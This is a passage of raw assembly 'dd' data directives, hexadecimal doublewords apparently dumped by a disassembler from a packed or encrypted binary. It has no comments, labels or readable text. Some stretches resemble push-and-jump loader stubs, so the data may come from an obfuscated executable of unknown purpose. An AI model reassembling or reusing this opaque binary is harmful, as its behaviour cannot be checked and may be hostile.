90F9E6Eh, 0CECCC135h dd 4FBD84Fh, 990D4360h, 0BD255AEBh, 0A56B3A0Bh, 35CCC112h dd 2FAF904Dh, 0F047844Bh, 13E3B301h, 71D90092h, 0FA2FEDBCh dd 15E8CCC1h, 5F821293h, 98BD53D2h, 1EEDC71Eh, 677BDDDBh dd 935h, 0BA77A4CFh, 0F9B2970Bh, 3BF0D146h, 7A371284h dd 0BB7055CBh, 2BB9FEEFh, 6EFA6D06h, 0A83FAE4Bh, 0EA7FEE8Bh dd 0DFB52CC5h, 2AC84ECEh, 9DE889C9h, 0FC697CECh, 0FE5471EBh dd 3382483Fh, 0A330B77Ch, 3D5AF5BEh, 400A2FBCh, 198A0BEDh dd 0C3B29700h, 0DC059617h, 3996188Ch, 0ACD8F96Dh, 0D244DB7Fh dd 0EB5A1BF7h, 0B4088A01h, 0B7700157h, 72D2A743h, 563C19B3h dd 0F4A030E7h, 7CBBBF79h, 6B41B072h, 1C624A7Eh, 980DAF49h dd 0DA4D260Bh, 51506049h, 4637E3C4h, 0A08508A2h, 0E351EDFFh dd 6CFDA887h, 0E474754Bh, 6E042C04h, 68DF9804h, 0A229D3A2h dd 3B89AE23h, 0A5BA5A6Bh, 0BA7D4E61h, 0D256052Ch, 0A5709578h dd 73BF4E61h, 371889FCh, 0AD9000A1h, 4CDD40CBh, 0F485556Bh dd 4E61A514h, 32981CD3h, 61A5B663h, 0F04FEB4Eh, 17D34564h dd 9E5A8686h, 3FEE41B1h, 9F06E253h, 1697250Ah, 50DB5D84h dd 0CBEC7D7Ch, 4BCAAE0Fh, 6851C1D6h, 4C1CD3A2h, 1094BD2Dh dd 6784D8BAh, 7D158151h, 0D01CBF8Ch, 56B6C795h, 91B19ED7h dd 0F6CB5ADEh, 33AFFAE4h, 0C70C0C9Dh, 9B9CB47Ah, 0CDD19DDBh dd 13C2B596h, 43A0F466h, 8D2F5C6Dh, 0ED99AA1Eh, 0D36A638Ah dd 371C9857h, 20B8A40h, 0A2B19EE9h, 6748AB98h, 64585E79h dd 4E0h, 0CC74F8ACh, 68746B86h, 1CFC2D8Ch, 69CCC31Dh, 0CCC32DAFh dd 20099A1Bh, 31B3CD44h, 6317CCC3h, 0C056814Dh, 504429E1h dd 227C80C2h, 8D66E450h, 6BFABE6Dh, 0CCC370A1h, 27029415h dd 18FFCF45h, 9928F848h dd 0CCC3707Bh, 0E3AF8A1Eh, 0DE4E3112h, 0F16004FBh, 0D2A75D1Ch dd 8BD05629h, 99D53D55h, 767A33Fh, 721D0000h, 0C959CCA5h dd 3940BE0h, 4CDA4D26h, 8B198C65h, 30B1CDA6h, 0BF7459CFh dd 0F0B99C08h, 30F9DE4Dh, 7E3B1C8Dh, 1CFC8DC3h, 0DBC92ACBh dd 7FECE3BAh, 0A69E0A5Ah, 794C98C0h, 0CB87A43Bh, 5BF1BB6Ah dd 0BBD88F7Bh, 43431Ch, 989EEE64h, 25BB9C8h, 299CCCC3h dd 0C302BA5Ah, 0DB8A7DCCh, 0F052F485h, 2295D2ACh, 6DB3C292h dd 8C92AD0h, 0E659BA9Fh, 0C64F08F2h, 7335FC3Eh, 13867F8h dd 7F7E4EADh, 4CD3C5EAh, 2AA3C0F3h, 15A4FCB8h, 0D74E96A8h dd 4E804F7Dh, 0F110E224h, 0BD1CB302h, 0CD7C291Eh, 0DE4A1AF9h dd 0DE087AEh, 164E2A2Bh, 0CBADEE87h, 0EEA41B7Dh, 25BB582Ch dd 76321784h, 0EFFE4E1Eh, 664BD729h, 49D1FEEh, 782F9D94h dd 0ADCC9C53h, 24451B3Ch, 76C793B6h, 0E160CF42h, 0AE4A496Dh dd 29BA2Dh, 0B5AC4366h, 0EB87512Bh, 675h, 0FAB7640Fh, 39F2D74Bh dd 7B301186h, 0BA7752C4h, 0FBB0950Bh, 6BF93EAFh, 0AE3AAD46h dd 0E87FEE8Bh, 2ABF2ECBh, 9FF56C05h, 2ACA0E0Eh, 0DDA8C9C9h dd 7848AFFFh, 0A73C8C69h, 1CF649D2h, 7BD7F869h, 0B3E75CAEh dd 0DCAC3CE3h, 0AF6B4CDDh, 27E9E2Fh, 0C6B9C927h, 3BFC9517h dd 0FED74323h, 33B5FDCAh, 0A918E163h, 0BFCB4DC0h, 5EBECCC3h dd 0EACCC3BFh, 0BF858B1Ah, 1F15CCC3h, 460751C4h, 0CCA81F7Ch dd 0D3E10656h, 0ACCA04C2h, 0A66CC3D2h, 2AEA0CF7h, 9007A6C9h dd 6216E7B3h, 0A2C8D756h, 76EF89E7h, 0C92AB993h, 6A4FD8D9h dd 0AA2BCDA0h, 5D961039h, 6BE10B7Ah, 5BBD1E1h, 1E710000h dd 1D8D30F9h, 5FC87F34h, 980EB17Ah, 0DF4DF0B9h, 846531FAh dd 0E388AD23h, 24CDE87Ch, 640D32A1h, 0A24F70E1h, 0B050612Fh dd 77C92AC5h, 0AFFF0F5Eh, 0ED697848h, 2AD2ACEFh, 9D0EFF5Bh dd 4C458C71h, 6E0D0116h, 8C65D4FDh, 0F160BF0Ah, 0C0B706CCh dd 21069B0Ah, 25B40448h, 0C92AB7E7h, 0FF1DAC20h, 38C92AB7h dd 93129645h, 6BA938FEh, 0EC92AB7h, 0E659BA9Fh, 39AA5B37h dd 29A3B620h, 0F55D0Ch, 4CEF361h, 9508C2B1h, 0B4692106h dd 0D6570326h, 0C5A86247h, 6C0B3802h, 2766DD25h, 0BE3F8DB2h dd 0BCA5352Ch, 0F4B005CDh, 0A4651147h, 6F8474ADh, 0D3FCC9B3h dd 0E5CFD364h, 74BF3431h, 0C5A4638Fh, 0C5886C55h, 193h dd 0EE2EBF0Fh, 29C92A25h, 0FF7BD256h, 0A87848AFh, 0DAB09909h dd 4714C1DEh, 4C032D36h, 0C46839A8h, 0DAADD2A7h, 0CB5D5C70h dd 0D46CFAEEh, 5FE504A2h, 9CC244DDh, 490FC927h, 3D95B828h dd 42DB978h, 0B1E55A60h, 1FAE3EDDh, 0D743AF4Ah, 0CC73388Fh dd 0ED907A5Fh, 3CDE5B7Ch, 41358B68h, 5665174Bh, 0C99963FBh dd 0A794FFB8h, 1BAA3AD2h, 0C927ABF5h, 5C6D4332h, 0C927ABBCh dd 87D5847Bh, 0AB66A637h, 0CEA1C927h, 0B0D802Ah, 0A9C927ABh dd 6E51A09Fh, 1FCFD7B7h, 42h, 48AFFF48h, 3FB06978h, 9265D2A7h dd 3FB35538h, 0D711C927h, 4708FC18h, 37C66983h, 133C09F3h dd 0B8CFD81Dh, 0CAh, 3E9A2CD8h, 2FFA091Ch, 27847E9Eh, 17C6B9C9h dd 84D03041h, 0A017C927h, 7FEC75C4h, 9F0DF05Ah, 2CFCD0BAh dd 0C31D7F9Dh, 23C5B8CCh, 420831A2h, 80694EC3h, 0C322D40Dh dd 92EA3CCh, 499EEE60h, 78D131DDh, 8DE2240Bh, 48596FDEh dd 0D2A97AA4h, 0ADCC9C53h, 96BB2A3Fh, 3A8A793Ch, 2B55B6Ah dd 0B372C925h, 0AD4F3E1Bh, 429BF2Eh, 3BB65B62h, 0D3EF69D5h dd 3B9h, 3EFB2073h, 7D361B8Fh, 0BF745DCAh, 0FEBB9E08h dd 3FF4D94Fh, 0AF3D8263h, 0EA7EE18Ah, 2CA322CFh, 6EE3620Fh dd 6331A049h, 2AC7B252h, 95C75C9h, 29B87CECh, 0CCC31DEBh dd 20039C2Ch, 0C2B7F505h, 0BC0C5C13h, 0C379EF2Dh, 0D35528CCh dd 1334A558h, 7FECCF66h, 9C0DF05Ah, 3D67FEBBh, 430F2ABCh dd 7D9F36F2h, 8CCC39Dh, 0CCC39D0Ch, 0F7C52A7Ah, 0AC6F60E6h dd 80D0A7D2h, 4F63A130h, 9006C92Ah, 1B9D50B1h, 688FDFB1h dd 7FC44958h, 3EF1D74Eh, 14785B78h, 0D3EF69DBh, 31Dh, 921FBCD7h dd 0D15A7F13h, 1398B92Eh, 52DFFA6Ch, 93183DD3h, 1381E607h dd 56C2452Eh, 90078673h, 0D247C6B3h, 0C78D04EDh, 2AC656B6h dd 0B50091C9h, 0F05A7FECh, 25BB9C0Dh, 1DC44455h, 0AC03CCC3h dd 6C0D43C8h, 8075DDF8h, 0F91E6EE4h, 0C9A1BEBh, 6069725h dd 0C1CCC31Dh, 521B8A6Eh, 97D2A734h, 61AB6A20h, 0C3C9270Bh dd 837CA79h, 85CFD857h, 28h, 48AFFF36h, 3FB06978h, 9265D2A7h dd 3FB35538h, 0D711C927h, 69FDFC18h, 17C6EB78h, 4F775895h dd 0E714CFD8h, 45000000h, 0CF2FBC3Dh, 9BF52033h, 0FE95860h dd 9C2C1586h, 0CDAF881Dh, 0B2EBE6Fh, 644DDE4Fh, 0E2C75554h dd 60F1B406h, 12E2B27Fh, 0C3289D83h, 1EB5ACCh, 0C317AB90h dd 8B4FDCCCh, 0C32C1AFAh, 0BB6ADDCCh, 0BFCE9EFEh, 0CCC32C59h dd 0C44D2F9Eh, 0F6987257h, 0A37341A6h, 0E5AD9402h, 4CFD9410h dd 89D2A706h, 85D97D36h, 97475666h, 50D74DEDh, 3EAECF9Dh dd 0A0C1911Bh, 0EFBF0D30h, 0C19F3EDEh, 9206F9CCh, 57965C7h dd 0E59612A9h, 2FCFF262h, 0DB1F8334h, 0EAF88842h, 82000001h dd 0DE412AEFh, 198C654Ch, 5FCEAB8Ch, 9E01EACFh, 344E2B0Eh dd 0F9DC4CB3h, 3E1B8D30h, 7E63F275h, 0B8A132B5h, 811040F3h dd 0C92AC183h, 0EC582F44h, 2DD0597Ch, 0A56B7ABCh, 62CCC31Dh dd 157DC93h, 0C239B295h, 0C452A509h, 9140359Dh, 6D3D4617h dd 0C31DBC5Ch, 54657BCCh, 0CCC31DB4h, 2BCDBC73h, 0B606E5B9h dd 0A73FFA27h, 0F2582FD2h, 273FF923h, 52E15BC9h, 0D84F80AFh dd 0D80DCFh, 0ECBE0000h, 0DCF05A7Fh, 0AE644DDDh, 34A42DCFh dd 0EFD4B911h, 98CCC322h, 1B06E30Bh, 7BB578E6h, 0EB78EF84h dd 0A5A18B03h, 0B6656850h, 0B56A3ADCh, 0BDA03021h, 23B104CEh dd 0C3137292h, 13C2B5CCh, 39BF2CBDh, 8B7AD2A7h, 9E0FAEEEh dd 981CD1B9h, 755BA0Ah, 523FDA93h, 514B9B10h, 0D4A1426Fh dd 0BF179180h, 4D181F2Eh, 596FDED7h, 6318F889h, 0E87DCCC1h dd 713B8ACFh, 2D108021h, 6E53C144h, 1F569F88h, 8F23B5DBh dd 0E1h, 5623F89Bh, 951E43D7h, 0D75C8512h, 16E3C650h, 57DC0197h dd 0D745AA3Bh, 128639F2h, 54CB7A37h, 960BBA77h, 0B49F8B1h dd 2AC09A7Ah, 61345DC9h, 0FB48493Dh, 0DE3F0160h, 5045DB5Ah dd 85359DC0h, 0E148BE08h, 0A81FCE64h, 0EACF5CC3h, 7FECB601h dd 9C0DF05Ah, 85CFEBBh, 0B66542DBh, 0EF3B9726h, 0BFFD2ACh dd 0BAC7A0A9h, 0C94F5E39h, 0EC92A4Bh, 72CC8BFh, 415020B0h dd 0C92A4BC3h, 65F7B104h, 0BE0E33A0h, 0E385AA3Fh, 4364F568h dd 0F2C20697h, 0A7830C87h, 6B4CDD88h, 958A1F8Eh, 9B772603h dd 0FD557CEAh, 0DBB79A08h, 3D95BC2Ah, 0D2A59AE0h, 15A47458h dd 0F581CDF7h, 0FBD80192h, 0E55A6004h, 0B80831A2h, 0E286AB39h dd 10862769h, 32A45931h, 0BFABB17h, 4E73E061h, 3EC84h dd 0FB9D0000h, 5481EC52h, 0B59A0FFEh, 94B928DDh, 0F8DD4F3Eh dd 0D8FD9312h, 381DB372h, 1E3BD352h, 4364F1B4h, 5D841697h dd 4868E3F5h, 89000015h, 0BF572424h, 4, 4247C01h, 0E089505Fh dd 405h, 42D00h, 4870000h, 2C895C24h, 0E3895324h, 4C381h dd 0EB810000h, 4, 5C241C87h, 68240C89h, 5E9D2A5h, 81242C8Bh dd 4C4h, 8B56800h, 24890000h dd 24048324h, 6A685904h, 89000020h, 418F242Ch, 2434FF08h dd 4C48159h, 8B000000h, 8950242Ch, 405E0h, 4050000h, 87000000h dd 0E95C2404h, 0FFFB65B0h, 60FF20C7h, 68D17FAEh, 0E9DE7DB8h dd 0FFC50305h, 0AE9F83E0h, 73C92B0Bh, 5415CF5Bh, 43B1F727h dd 7144FA41h, 2E08EF39h, 6076D00Dh, 61822B37h, 0A0A07A03h dd 5F6B0C1Ch, 0CC3DE01Bh, 165D847Fh, 3C92D762h, 747B2517h dd 2F159D1Ah, 3961915Ch, 11195513h, 12E2FA32h, 0D222C53Fh dd 39A8C02Ch, 36F28B45h, 0A855AF1Bh, 8EA44226h, 41D16E71h dd 57B1722Dh, 268BC477h, 15F5F00Fh, 0D6C6578h, 55E1A949h dd 0ADF26652h, 4B8D8D73h, 6A05E9E0h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0BE9C353h dd 0C1661E31h, 0C091AE9Ah, 1BEF8166h, 0E960603Dh, 0Ch dd 0B4A933D0h, 0A6017478h, 4C2C0919h, 8E9h, 8637B100h dd 1EDA602Bh, 89616159h, 0E410958Dh, 0AE805h, 0FAC20000h dd 40F5600Ch, 4FDE7509h, 6585C758h, 0FC05E42Ch, 0E8000060h dd 13h, 0C38A8664h, 7C15CAC3h, 1A732439h, 6ED6AE59h, 0E91E07BEh dd 6, 6F641D21h, 0C75ACAADh, 0E430FD85h, 5, 9DB5FF00h dd 8B05E422h, 0E430F9BDh, 6195FF05h, 2905E42Ah, 0E426BD85h dd 0FF006A05h, 0E410C195h, 0EBC08B05h, 771E5048h, 60DEAC32h dd 584BE357h, 28A7D649h, 4704CAD0h, 3E50B9Dh, 70639FEh dd 0C9B1BD96h, 5FDF793Eh, 664D96D7h, 79CB1376h, 5E9923A2h dd 0D7B95EF5h, 0ED2FB300h, 0F22C6762h, 5F32F99h, 2C61A7D5h dd 0A8D5DC64h, 13E800h, 5840000h, 73223E50h, 467390D8h dd 206D6CB0h, 10F5B025h, 39E2B9A7h, 6658631Fh, 813B5CBEh dd 7082C0h, 39B58900h, 0BF05E41Ah, 5DB85DA0h, 0BE4BC781h dd 0C181A247h, 2777DA1Ch, 958B188Bh, 5E41615h, 1C98F381h dd 8B572699h, 0E40CCD95h, 0F3815905h, 497C8F8Eh, 81F18B66h dd 0BCF8DBF3h, 12E974h, 3CDC0000h, 0FC1B7C2Fh, 338CB136h dd 0EE9953A5h, 9AD1212Dh, 0CDB58B53h, 8F05E40Ch, 258D8900h dd 8105E427h, 194B27E8h, 7AD18121h, 8149CD7Dh, 194B23C0h dd 0AABE6621h, 1EF838Bh, 19850Fh, 0BA660000h, 2DE9E3BDh dd 8F000000h, 22F12DFEh, 1A7ED09Ch, 3D7AA206h, 8159307Bh dd 68D444C6h, 0FF72E917h, 0CA32FFFFh, 9D85D8EEh, 613DF831h dd 36EBAFEAh, 296570A6h, 0ABE9h, 2E8D5000h, 72B11C3Fh dd 0ACABDA5Fh, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h dd 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h dd 1603B783h, 1425E9h, 0E4076800h, 8FE905E9h, 68FFFA9Bh dd 5E9E55Ch, 0FA9B85E9h, 0E65B68FFh, 7BE905E9h, 68FFFA9Bh dd 5E9E802h, 0FA9B71E9h, 0E89068FFh, 67E905E9h, 68FFFA9Bh dd 5E9E978h, 0FA9B5DE9h, 0EA4168FFh, 53E905E9h, 68FFFA9Bh dd 5E9EAF2h, 0FA9B49E9h, 0EBCB68FFh, 3FE905E9h, 68FFFA9Bh dd 5E9ED0Fh, 0FA9B35E9h, 0EE0068FFh, 2BE905E9h, 68FFFA9Bh dd 5E9EF60h, 0FA9B21E9h, 0F0A168FFh, 17E905E9h, 68FFFA9Bh dd 5E9F289h, 0FA9B0DE9h, 0F3DB68FFh, 3E905E9h, 0B5FFFA9Bh dd 1E048B02h, 60BADD5Ah, 0B36F6EE9h, 1B078601h, 6FB8DF5Ah dd 1D945950h, 0B32CA07Ah, 0C740F62Ch, 1A9D5AC0h, 0A09DCC7Bh dd 54EEC7C2h, 0CC0F4422h, 0A2F220E6h, 4E119BCFh, 2256F09Eh dd 97F35C91h, 913A920h, 0F1C4CB42h, 8A319F04h, 0D2C499B3h dd 0F85F3EE1h, 501A587h, 7BD4074Fh, 0E918D53Ah, 8ADE1154h dd 0E8EFD355h, 64AC7E54h, 0F8D6D6ADh, 3F0733h, 0D8560000h dd 9215C46Fh, 75D80DC6h, 0E9083308h, 8D508354h, 4CDC2A5h dd 20EDBD72h, 86B1B7A8h, 4E1C54E9h, 69B88B42h, 0E1C933F9h dd 60DFC389h, 16146934h, 9654E989h, 28A770A5h, 0EFh, 60C0776Fh dd 0AC3C71EAh, 0FDA0DF9Eh, 0D3AB35A5h, 4706990h, 0CA3B9ACFh dd 4F05BC68h, 124613C4h, 5C84308h, 8ADE591Dh, 4EDCFC59h dd 634F0E89h, 2F830841h, 0DCE3AC57h, 52BF663h, 9C5D454Fh dd 0E156B01Dh, 0DD0E894Fh, 8546107Ah, 5D2302F8h, 19A785FAh dd 0D2054F05h, 3FBC6679h, 0C4B12CBCh, 0CDBE8746h, 2954E93Bh dd 9A80E7E6h, 0D60D5FD8h, 43C1BE7Dh, 0A4A8A39Ch, 0BCC5ACFh dd 609F5E44h, 0B930A57Dh, 1F526430h, 60C18B22h, 11A5h dd 4144FF70h, 0F79611D9h, 0A42BAE2Bh, 5C43FC7Eh, 0F59817C6h dd 51049520h, 0EB6BB7D6h, 3BB1696Ch, 56051D80h, 5A09B0D7h dd 0EECA0765h, 48076554h, 0F662C677h, 80F15B71h, 0FCF0C6B5h dd 2C5366Bh, 0F4C65228h, 553EBCA5h, 0E863E832h, 0AAAC86E5h dd 69153C16h, 0B4B68F4Eh, 304F059Dh, 0D84512FFh, 0F02AED6Fh dd 3D93FF78h, 0E5B1AF2Eh, 81FE410Ah, 54E9FCACh, 1A00C708h dd 0DCFDB5Ch, 32933992h, 0B1B38C53h, 3354E9BCh, 0BCA183C0h dd 0E7D854E9h, 54E9BD85h, 508A34E7h, 39DD2267h, 3945B64Ah dd 0B5AE3AB5h, 71959BD8h, 6A3054E9h, 5594EF26h, 0EDC533F9h dd 10000000h, 73CAE6CCh, 0A735AE20h, 0B93F62ACh, 64D33F98h dd 8035D7E5h, 0A38CB309h, 934F054Eh, 0F822A524h, 0E1E0F873h dd 0D1BA35B9h, 5406AD1Ah, 9DBD4BC2h, 0BDEE0871h, 1CC3342Fh dd 0C38355BDh, 0A9E564D5h, 0D456F7F0h, 0FC2E767Eh, 88F5588Dh dd 4F0541AAh, 270CC90Ah, 54E96456h, 238245B6h, 0E96460C2h dd 0B489DC54h, 54E963B6h, 0CD90C536h, 0E96472F0h, 5401F254h dd 0B894631h, 9CF7B44h, 72A55AD0h, 4BC67793h, 0E0D6544h dd 0E2B08Ch, 0C776907Dh, 0B93F6348h, 8C0221Fh, 1050A9h dd 31A82B00h, 43C474AEh, 9413C65Ch, 2CA729F1h, 45FC71A9h dd 0BFEAD542h, 61C833Eh, 6CB6D956h, 0B06A6DEEh, 661D803Bh dd 0CB5CDE27h, 0A2D854EEh, 106DCCF5h, 4F04E612h, 184CC2C2h dd 0CAF42157h, 93424C09h, 0E369B114h, 218AF68h, 1AB3D255h dd 7349C077h, 0E4EB62E9h, 593CBB3Eh, 33E48D71h, 0F620B483h dd 43954033h, 0F9D3BC3Ch, 918F2D8h, 7E8C014Ah, 0FBC4A69Fh dd 0EF204F04h, 0F873F822h, 0C19372D5h, 50379614h, 0FBAE8CF1h dd 0CD0E4F04h, 26862300h, 2DEE54E9h, 531B1C63h, 9B544C73h dd 1F52CD00h, 0B5E6C94Dh, 0AD10EDD2h, 5BB74757h, 77D71295h dd 47BAEDE0h, 0BC943F0Ch, 33E48E4Bh, 0B2B08D6Ch, 32468F69h dd 94414C1h, 237FDE5Ch, 855835B4h, 76D6E6B8h, 665F0E4Ch dd 4172CF04h, 9B7AAF60h, 4E51C88Fh, 2BFF036Fh, 0A4342B45h dd 0B128AFEBh, 0B42F8808h, 442DAF2Fh, 0F51h, 0AD30AB2Ch dd 4342C575h, 0F09712C7h, 0A82FA82Ah, 4144C372h, 3DB0E9D4h dd 57070382h, 0EF6DB5D8h, 3AB1696Ch, 26651C83h, 0EECC5BD9h dd 0F4A3D954h, 0EB64D6CCh, 6677E42Eh, 4E61B19h, 414F994Fh dd 0BD52A397h, 844BBCF1h, 191930AEh, 5684624h, 1975A64Fh dd 4F08C1CFh, 0AE6E440Dh, 302714FBh, 0B760CB84h, 0FDC5EA7h dd 97584F05h, 32A7E3A2h, 3A0BDAB7h dd 54E9223Dh, 645776B9h, 508430ABh, 0ECEE4CB1h, 8D4E54E8h dd 5A9DFD41h, 5C59A669h, 0D85ACCF4h, 9C824517h, 374F04F3h dd 0DD1C42A8h, 75A1DE9Eh, 0AA6D70D2h, 518D755h, 29E2554Fh dd 0D7AC65ADh, 0E82E14FBh, 798502B2h, 0F2617BF2h, 77AE19h dd 0D8E90000h, 0C02AED6Fh, 0D7FC756Ah, 7FD40D2Ch, 0FA382773h dd 784BE28Ah, 1045AB0Ah, 1901E047h, 5182D651h, 0A8E9BF84h dd 0E10B54E9h, 6CE7F56Ch, 6E7E543Bh, 163AF4F5h, 0A605D8B5h dd 657CFEC7h, 37F854E9h, 1BA305Ah, 1596445Eh, 0AC428C47h dd 5B493EE7h, 0A59A2DE6h, 54E8ECC5h, 72159443h, 0C88022A8h dd 6379F666h, 1F2DBFF0h, 5A89235Eh, 0DDA43469h, 0E15h dd 0ED6FD808h, 0C86ED52Ah, 91154EEh, 0F168E143h, 64D7D3BCh dd 7BF279A1h, 8E09CE54h, 7DD68F3Ah, 46097AFDh, 0BA3DBBE7h dd 1B58352Eh, 5AD8A991h, 0D65119E3h, 73F822E5h, 0ACF6D5F8h dd 0A5E1AA2Dh, 0A825B736h, 809A7DFFh, 26F952CDh, 0E91C0CD9h dd 0E657B354h, 45179042h, 0D40F5D8Eh, 3FBC7F7Bh, 1C3DDF9Fh dd 0AA4928A0h, 7500000Dh, 0DE444BC2h, 20FA9D1Ah, 73AF2EA9h dd 0DB4746C1h, 2FF89F1Ah, 0DD541990h, 73EC60BAh, 8700B66Ch dd 0DA5D1A00h, 605D0CBBh, 54EECE02h, 524F0462h, 4F04E5CCh dd 0A42397F3h, 0C847F614h, 867F3A97h, 7E7C4104h, 0FE54EEC7h dd 88405A3Dh, 0C6C2A09Dh, 0F12254EEh, 160CD3BCh, 7BA726A1h dd 67E054FCh, 722BA632h, 45F52DF0h, 217DF6C2h, 816431A8h dd 624322h, 7C54EEC7h, 9891DEBBh, 1C5AD2D8h, 1CEE92DBh dd 87552214h, 0D1C3Eh, 0FD74E700h, 0F8840DAh, 0A0279288h dd 0F873E53Dh, 11884DD5h, 8B1E998Eh, 0D2484FCAh, 38E2E562h dd 8C9639B2h, 0B2494CCFh, 0CE9092D3h, 9EEC54EEh, 49C077C1h dd 2CF35273h, 4E651D3h, 2360D34Fh, 4F04E641h, 7BA770A3h dd 0DD6F7DFCh, 32C8E01Bh, 0BBA80087h, 5D6FEA6Fh, 0BAAB08FFh dd 56250186h, 38DD0C74h, 0C5BAE54h, 734983F4h, 967DC60Fh dd 0E4EE2E15h, 29000006h, 137F6FD8h, 8A936631h, 7AF8292Eh dd 9A4F05D4h, 0D00359DEh, 6D3065D6h, 0EFB59F10h, 71D40754h dd 47C08892h, 36A4FE75h, 39BED8B5h, 62B81FBEh, 709A77F0h dd 0F76840FBh, 54EDF571h, 0F6744928h, 7654EDF4h, 0B461C885h dd 0C3DF5A1Fh, 0CC79514h, 0AF2E74DBh, 0BF806730h, 5AD206C2h dd 5D39D832h, 8042438Bh, 0FA8C6E4Fh, 6DEF2214h, 0C3484h dd 0D54C0F00h, 67E068B2h, 0B83FBA60h, 0D04B0D15h, 69E055CDh dd 9306B166h, 0FA20A722h, 40DAFD7Ah, 948E118Ah, 9A21A427h dd 0CF78FACBh, 0B6F454EEh, 49C077D9h, 0EB62E973h, 0A8D4BD1h dd 0AE29ACBEh, 0D54E001Ah, 0AA704C87h, 5AD58766h, 0A8E0D50Eh dd 0D5B4EE12h, 4E68AE8h, 6C29EA4Fh, 14CD390Ah, 60DA22Eh dd 37030000h, 0B412D7B0h, 75622F2Dh, 0E661D6CCh, 0E662C42Dh dd 500D4F04h, 0E5FD7F40h, 0BC7F4F04h, 86BB844Bh, 0EE54EEC7h dd 59006A2Dh, 1D1F602Eh, 9F54EE1Ch, 1CA3725Ch, 968C533Ch dd 0FB27A621h, 0E6EFFD7Ch, 50BA3DBCh, 47C1729Bh, 64D780A3h dd 196629ABh, 5AD22D20h, 0A21AA394h, 0D92214E8h, 0B6BB273h dd 85360000h, 0DB9F8B0Ah, 68E1395Ch, 8234EEF1h, 0D99C8609h dd 0CFEE3F5Eh, 0F99C1BDAh, 9332AD21h, 4746C177h, 0FA9D1CDBh dd 41231C43h, 0A354EED0h, 0C0778EC5h, 62E97349h, 4765D1EBh dd 5219015Bh, 0F97B81DBh, 84F96A7Eh, 0CD9CE7CBh, 58CD2E14h dd 8000005h, 14C46FD8h, 4ABF38BAh, 0CD49B619h, 0AB54EEC7h dd 0DCC6A568h, 17CC9C1Fh, 609B50BAh, 46BF1E7Dh, 54EEC6E4h dd 0D8C28F40h, 0ED359813h, 41DBF168h, 70DD0E89h, 0C781E758h dd 0E23854EEh, 5427F077h, 0D7B6199Bh, 0D6D694FBh, 2DE69049h dd 0D23D6BC4h, 0A308CB5Ah, 2214B833h, 0BA2D9444h, 8500000Ah dd 0EE345BD2h, 30EAED6Ah, 839F3EB9h, 0EB3756D1h, 3FE8EF6Ah dd 2DA42980h, 43FC70AAh, 9710C65Ch, 2AAD2AF0h, 704D1CABh dd 54EECFF2h, 775F3472h, 0E97349C0h, 0FE24EB62h, 77ECFC7Bh dd 0B8023E9Ah, 62432278h, 4F04E600h, 9CDEBB7Ch, 2E14CDA7h dd 4A2D0h, 812F100h, 999BC843h, 0C04F04DDh, 4DE7DFFh, 823CFF4Fh dd 1AA30551h, 1BBCBC25h, 0D15219BEh, 0E24F04E5h, 0EFD0B735h dd 54EEC84Ch, 0EDC9A7F3h, 0D45F5E1Bh, 0E7B0E566h, 6DB518DBh dd 0B2686FEEh, 3A2FAB05h, 0EE6567C5h, 2112C554h, 0A067588Bh dd 5568F34Ah, 0AC7EC68h, 0F15A134Eh, 0CD90C57Ch, 8CD67D5h dd 0D7083B91h, 915AAB7Ah, 0ED5AD27Ah, 41501B33h, 0C132B495h dd 14E81CF8h, 78399322h, 9E1h, 1D803BBCh, 0B3D25505h, 6067E257h dd 18BF38BAh, 0B1D45302h, 8D405964h, 27977312h, 7FFD25A8h dd 8A41D9FCh, 96F58C13h, 0EED0CBA9h, 4532954h, 8649C077h dd 0F4A1DA9Ch, 849146E4h, 4E5B9BBh, 87F83B4Fh, 0DEC29835h dd 9E01B83Fh, 14C8D7ACh, 148002Eh, 79A10000h, 3B907DF4h dd 7349C077h, 0B5F262E9h, 0BC652BA8h, 5F2AAD9Eh, 5CA164E6h dd 54E9DE7Bh, 4D5538FBh, 86BD0F8Eh, 0D6588FCDh, 7154E9D9h dd 0E3A069A9h, 1433F9C0h, 34h, 0ED6FD843h, 0F87A4B2Ah dd 744F04E5h, 13A92EAAh, 4322EF20h, 0B532A6FCh, 7A29BD8h dd 211254E9h, 7D2548Bh, 0AD7D54E9h, 0EAD7AC65h, 0BA0033F8h dd 57000000h, 7349C077h, 76927852h, 0DABDA1D4h, 0A01571h dd 0FB7EFB4Dh, 0CC013286h, 0A72E2109h, 9B68CA3Bh, 13C44F05h dd 3F76A4C7h, 77E40652h, 9146E4F4h, 0ED6BB716h, 211EA16Ah dd 4F053848h, 211E0FCCh, 4F04F243h, 9DF677A1h, 6271E96Ch dd 0EED9FC31h, 93ECB331h, 54EC3BE5h, 0D1C98C4Fh, 0AE2B771Ch dd 0FC78FA2Bh, 3F454EAh, 0A1130FCEh, 0F4A19226h, 0D8449D1h dd 3BF972ACh, 3E87551Ch, 89Dh, 597CF778h, 0F8E09C1h, 0BC23A613h dd 547BF466h, 0D900FCEh, 490C9D18h, 0E353CFCEh, 33B96164h dd 4E0D15B8h, 5231C8CFh, 0EED30F6Dh, 401F6D54h, 444BC677h dd 0FF9E19DEh, 49C0776Eh, 0BA785273h, 0A190C5Ah, 3EBDD9B2h dd 479D8BFh, 4F053826h, 0E5F85586h, 28266h, 6FD8B100h dd 6F4B2AEDh, 0D676FBD4h, 4E2C156Bh, 0AE4F05DCh, 0E0DDA06Dh dd 54E9E3BBh, 0D6B518DBh, 0E9D78BE9h, 6FCD3254h, 0CD54E9D7h dd 0F25F900Ah, 0D6FF61E6h, 0F04A54E9h, 0BA0A79B0h, 1B7333F9h dd 6C000002h, 0CAB2B08Dh, 0C13254E9h, 0D3524714h, 0F44F04E5h dd 0CF71999Eh, 126C31CFh, 588B21A6h, 0C1433CFFh, 0F363BF1Eh dd 